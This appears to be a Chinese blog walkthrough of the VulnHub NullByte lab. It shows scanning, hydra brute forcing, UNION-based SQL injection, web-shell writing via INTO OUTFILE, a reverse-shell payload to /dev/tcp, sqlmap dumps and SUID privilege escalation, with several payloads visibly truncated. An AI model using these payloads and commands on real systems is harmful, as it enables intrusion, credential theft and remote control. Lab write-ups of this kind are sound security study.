01_渗透靶场NullByte:namp使用,多姿势SQL注入,提权

前言
整体思路、流程
探测阶段(顺序执行)
更多注入姿势
	姿势A-大小马
	姿势B-反弹shell
	姿势C-sqlmap
用户提权

前言

操作是在虚拟机靶场中进行,本文章提供渗透方面技术交流学习,严禁用于非法用途

靶场是最小化安装,是没有提供用户名与密码的包括ip都要自己去找,靶场需要在vulnhub下载名称是NullByte

整体思路、流程

首先使用nmap进行扫描,发现NullByte靶机地址为192.168.20.14,然后对齐各种端口进行检测,使用默认脚本检测,然后进行目录爆破,根据爆破的结果去访问web页,查看网页源码查看网页上图片的信息,将这个信息进行解析查看文件的具体内容,发现字符串尝试当作密码/路径等一切可以想到的进行访问,跳转到新的界面测试是否存在SQL注入,但是在新的页面当中所存在的是"双引号报错,根据SQL注入的多种姿势进行操作,最终拿到phpmyadmin页面的登录账户和密码,然后进行远程ssh连接,进入后首先查看当前用户是什么身份有什么特权,然后将此用户所有可以操作的文件进行展示,并对文件进行过滤查找敏感文件,在这期间得出该用户的历史操作命令有两个相对特殊,并且文件的执行存在s也就是suid提权,利用文件与历史命令进行提权,最终成功拿到flag。接下来将展示操作。

探测阶段(顺序执行)

nmap -sn 192.168.20.0/24
image

但是根据扫描结果并没有发现目标靶机,将目标靶机重启将两次结果对比https://www.jq22.com/textDifference发现多了一个ip192.168.20.14的,其实可以使用其他工具去访问探测每一个地址返回的结果,这里忘记了,继续下面的
image

针对已经发现的主机进行开放的端口扫描:nmap -sT -sC -sV -O -p80,111,777,52136 192.168.20.14
image

扫描每一个端口所对应的服务:nmap -sT -sC -sV -O -p80,111,777,52196 192.168.20.14
指定tcp 使用默认脚本 版本信息
可以看到777端口的ssh服务是开放的,111是tcp服务
image

指定是使用udp扫描:nmap -sU -p80,111,777,52136 192.168.20.14
image

使用nmap默认的脚本扫描:nmap --script=vuln -p80,111,777,52136 192.168.20.14
发现一个漏洞,等待时间太长,退出扫描。进行其他操作:
image

访问80端口发现有web页面,其他端口都是无法访问
image

进行目录爆破:
gobuster dir -u http://192.168.20.14 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
image

根据目录爆破的结果去访问:前两个都无法访问,第三个可以访问但是需要用户名和密码才可以登录,这里可以尝试弱口令但是未成功
image

image
image

在进行目录爆破的同时考虑web页上的图片是否有一些信息,将其读取,在web页点击图像复制图像链接,将其使用命令下载并分析
wget http://192.168.20.14/main.gif 下载图像
image

file main.gif 查看图像的基本信息
image

exiftool main.gif 查看图像的具体信息发现有一串字符串,先进行记录,这串字符串有可能是什么密码之类的,尝试将其用在上面的登录页面,但也没有成功
image
image

再去思考这个字符串可能是什么,在这里靶机的ssh服务是开启的,那么有没有可能字符串是靶机的登录密码
但是登录失败,所以继续推进其他:ssh root@192.168.20.14 -p777
image

那这个字符串有没有可能会是一个路径信息呢?将其拼接在首页的url后面:http://192.168.20.14/kzMb5nVYJw/
很惊喜,可以看到哦页面发生了变化
image

将字符串输入到文本框
出现报错提示,那么这里有没有可能存在xss或者sql注入的漏洞呢
image

查看一下网页的源码信息,可以看到图片中的注释
image

既然如此,那么直接尝试爆破,使用hydra
hydra 192.168.20.14 http-form-post "/kzMb5nVYJw/index.php:key=PASS:invalid key" -l RedteamNotes -P /usr/share/wordlists/rockyou.txt
hydra 192.168.20.14(IP地址) http-form-post(协议-form表单-传输方式post) "/kzMb5nVYJw/index.php(目录就行,前面有IP了):key=PASS(爆破类型):invalid key" -l RedteamNotes(-l 没实际意义但是满足语法) -P (注意大小写)/usr/share/wordlists/rockyou.txt(使用默认的字典,这是都有的如果没有找到目录进行解压后再用)
可以看到爆破的结果已经出来:elite
image

将结果输入到web页
看到出现新的页面
image

随便输入几个字符尝试一下
输入db,aa
image

什么都不输入:
image

输入a,可以看到这个数据是有进行处理的,如过输入的字符没有包含的就会显示数据已经取回,如果有的化那么就会对比显示信息
image

查看源码,可以看到数据以get的传输方式进行提交
image

测试是否存在sql注入,将特殊的符号进行输入进行探测‘,“,)"$+-- -,+,&&"
经测试发只有在单独输入"的时候会出现报错
image

tips:-- -其实两个+一个空格-- 已经代表注释,-- -这样是为了方便区分空格是否已经成功使用,-- 已经注释后面的内容所以后面跟什么,也不会有影响的。
image

既然有报错,那就尝试注入首先尝试union联合注入
在这里有两种方法,根据习惯哈
1.”order by 5 -- -
2."union select 1,2;-- -(逐步加,一直到不再报错出现正确结果)
”order by 4 -- -的时候报错
image

尝试换成3后出现正常结果
image

由此可知表中有三列,接下来进行具体的sql注入的操作:
"union select database(),@@version,user(); -- -
image

读取到如下数据:
image

接下来尝试使用数据库中默认的表进行对数据库信息的查询
"union select table_schema,table_name,3 from information_schema.tables;-- -
ps: "union select table_schema,table_name(是要查看的信息,数据库名和表名),3(占位) from information_schema.tables(存的数据库中的所有数据库信息,tables里面存的是所有数据库的信息和表的细信息);-- -
执行查询语句,可以看到seth这个数据库在这里,并且还有表名users,所以继续查(对于这种风险词应该形成意识,先查这些)
image

"union select table_schema,2,3 from information_schema.tables where table_schema="seth";-- -
"union select table_schema,2,3 from information_schema.tables where table_schema="seth";(查询seth里面有什么表)-- -
结果是只有一张
image

"union select column_name,2,3 from information_schema.columns where table_schema="seth"and table_name="users";-- -
"union select column_name,2,3 from information_schema.columns(列名,字段名) where table_schema="seth"and table_name="users(查询seth数据库当中users表所有的字段名)";-- -
image

根据这些字段名去查询
"union select id,user,pass from users;-- -
标记内容是不是有可能进行了加密呢,尝试解密
image

尝试使用base64解密
echo -n YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | base64 -d //标准
image

可能是hash值,利用hash解密
hash-identifier c6d6bd7ebf806f43c76acc3681703b81
可以看到提示是MD5
image

进行解密
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash_md5
**image
**
使用上面获得的账号和密码进行ssh登录
ssh ramses@192.168.20.14 -p 777 passwd:omega
image

image

查看当前用户的身份信息,需要提权才能够获得
image

更多注入姿势

姿势A-小马

查看源码
image

使用" order by 3;-- -来判断有多少列,如果值小于等于所有的列会正常显示如果值大于所有的列就会报错
image

写一句话木马进行注入,空字符可以防止写入文件时发生错误
"union select "","","" into outfile "/var/www/html/uploads/shell.php"; -- - //执行系统命令
image

"union select "","","" into outfile "/var/www/html/uploads/shell.php"; -- - //可以用蚁剑等连接
"union select "","","" into outfile "/var/www/html/uploads/shell.php"; -- -//加入\防止$_POST被过滤

image
image

使用kali查看 curl http://192.168.20.14/uploads/shell.php?ccc=ls
image

使用哥斯拉连进行木马编码
首先使用哥斯拉生成木马由于木马文件内容过长,将哥斯拉生成的木马进行base64编码,使用php生成文件并在文件内部写入编码后的哥斯拉木马
image
继续:
利用刚刚的木马查看文件内容curl http://192.168.20.14/uploads/shell.php?ccc=cat /etc/passwd
image

既然可以读取文件,那么继续尝试读取其他文件,在上面的内容中有一个420的文件怀疑通过这个文件可以与数据库交互,尝试查看该文件
curl http://192.168.20.14/uploads/shell.php?ccc=cat /var/www/html/kzMb5nVYJw/420search.php
高光的呢容就是数据库的用户名与密码,在目录爆破的时候还有一个phpmyadmin可以进行登录的网页
image

登录该页面,可以看到已经成功登入,通过查看数据库信息就可以看到里面的用户名和密码,和上面获取到的用户名密码是一样的
image

姿势B-反弹shell

利用反弹shell,注入的位置依然是在输入框
"union select "& /dev/tcp/192.168.20.47/1234 0>&1'\"); ?>","","" into outfile "/var/www/html/uploads/sh.php"; -- -
"union select "","","" into outfile "/var/www/html/uploads/fanshell.php"; -- -
设置监听并在浏览器中访问写入的木马文件
image
image

返回shell后进行目录的查看,查看敏感文件包含的信息一样可以获得用户的名和密码
image

姿势C-sqlmap

sqlmap -u "http://192.168.20.14/kzMb5nVYJw/420search.php?usrtosearch=a" --dbms mysql --dbs
image

执行结果,可以看到已经知道的表seth就不再一个一个看了
image

查看数据库中都有哪些表
sqlmap -u "http://192.168.20.14/kzMb5nVYJw/420search.php?usrtosearch=a" --dbms mysql -D seth --tables
执行结果
image

查看这个表中都有哪些列
sqlmap -u "http://192.168.20.14/kzMb5nVYJw/420search.php?usrtosearch=a" --dbms mysql -D seth -T users --columns
执行结果
image

直接查看数据转储
sqlmap -u "http://192.168.20.14/kzMb5nVYJw/420search.php?usrtosearch=a" --dbms mysql -D seth -T users --dump
执行结果:同样拿到账户信息,不过需要进行解码
转base64拿到hash 的ma5然后解密
image

用户提权

在之前已经获得 ssh ramses@192.168.20.14 -p 777 passwd:omega
sudo -l 查看当前用户有哪些特权
image

下面的内容就是如何用户可以操作哪些文件,针对这些文件如何筛选出我们想要的文件进行提权的操作
查看当前用户都可以操作哪些文件:find / -perm -u=s -type f 2>/dev/null
image

查看当前用户都可以操作哪些文件把错误都扔掉: find / -group ramses -type f 2>/dev/null
image

反向搜索并删掉proc信息: find / -group ramses -type f 2>/dev/null | grep -v '/proc'
image

对比两个结果都存在的文件
image

看一下/home/ramses/.bash_history这个文件,可以知道在历史记录中执行了哪些命令,根据执行的命令可以反推出他都可以有哪些权限
image

再次分析,执行的命令和文件目录相同
image

切换到该目录下并查看文件,看到文件重点颜色
image

查看这个文件目录的权限,可以看到是有s的,所以存在suid提权的方式
image

执行相对特殊的历史命令,这里面执行了一个sh
image

当前在的目录
image

配置环境变量并执行特殊命令
image

进入系统查看文件并拿到flag
image

到此就结束啦
https://blog.csdn.net/qq_46381215/article/details/129728579?spm=1001.2014.3001.5502

posted @ 2023-03-23 20:07  Ben_JM  阅读(569)  评论(0)    收藏  举报